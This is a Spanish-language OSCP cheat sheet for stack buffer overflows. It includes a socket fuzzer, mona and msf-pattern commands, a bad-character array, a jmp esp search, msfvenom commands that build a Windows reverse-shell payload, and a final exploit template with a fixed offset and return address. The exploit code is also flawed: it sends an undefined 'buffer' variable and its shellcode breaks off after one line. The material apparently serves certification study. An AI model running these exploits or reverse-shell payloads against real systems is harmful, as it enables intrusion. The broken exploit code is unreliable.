OSCP BOF Cheat Sheet

Fuzzing
`msf-pattern_create -l <longitud de bytes>`	Generación de patrón
`!mona pattern_create <longitud de bytes>`	Generación de patrón
`msf-pattern_create -l <EIP>`	Identificación offset
`!mona pattern_offset <EIP>`	Identificación offset

`fuzzer.py`

#from pwn import *
import socket, sys, time

if len(sys.argv) < 2:
   print "\n[!] Uso: python " + sys.argv[0] + "<ip-address> " + "<remote-port>\n"
   sys.exit(0)

ip_address = sys.argv[1]
rport = int(sys.argv[2])

if __name__ == '__main__':
   contador = 100
   #p1 = log.progress("Data") Log de datos en pwntools
   while True:
      #p1.status(f"Enviando {contador} bytes.") Log de datos en pwntools
      print "Enviando %s bytes." % contador
      buffer = 'A' * contador
      try:
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         s.connect((ip_address, rport))

         data = s.recv(1024)
         s.send("%s\r\n" % buffer)
         data = s.recv(1024)
         contador += 100
         time.sleep(1)
      except Exception as ex:
         print "\n[!] Ha habido un error de conexion\n"
         print ex
         sys.exit(1)

Bad Chars

Identificar Bad Chars
`!mona bytearray -cpb '\x00'`	Generación de bytearray con excepciones
`!mona compare -f <ubicacion de byte array .bin> -a <dirección de ESP>`	Comparación de bytearray contra ESP

Colección en arreglo

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Colección plana

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Búsqueda para ejecución

Búsqueda de `jmp esp`
`!mona modules`	Generación de patrón
`!mona find -s "\xff\xe4" -m <nombre de dll>`	Generación de patrón

Payload

Generación de payload
`msfvenom -a x86 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=<ip> LPORT=<puerto> -b '\x00' EXITFUNC=thread -i 3 -f python > scode.txt`	Encoder `shikata ga nai`
`msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<puerto> -b '\x00' EXITFUNC=thread -f python > scode.txt`	Sin encoder y si iteraciones

Exploit final

from struct import pack
import socket, sys

if len(sys.argv) < 2:
    print "\n [!] Uso: python " + sys.argv[0] + "<ip-address>" + "<remote-port> \n"
    sys.exit(0)

ip_address = sys.argv[1]
rport = int(sys.argv[2])

shellcode =  b""
shellcode += b"\xb8\x36\xda\x75\x0f\xda\xd5\xd9\x74\x24\xf4\x5b\x2b"

#badchars = ()
#badchars \x00\x23\x3c\x83\xba

if __name__ == "__main__":
   prefix = ""
   offset = 1052
   filler = "A" * offset
   eip = pack("<L", 0x68a98a7b)
   nops = "\x90" * 16
   #nops = "\x83\xEC\x10" # sub esp, 0x10

   #payload = prefix + filler + eip + badhchars
   payload = prefix + filler + eip + nops + shellcode

   try:
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((ip_address, rport))
      s.send("%s\r\n" % buffer)
   except Exception as ex:
      print "[!] Ha habido un error de conexion"
      print ex
      sys.exit(1)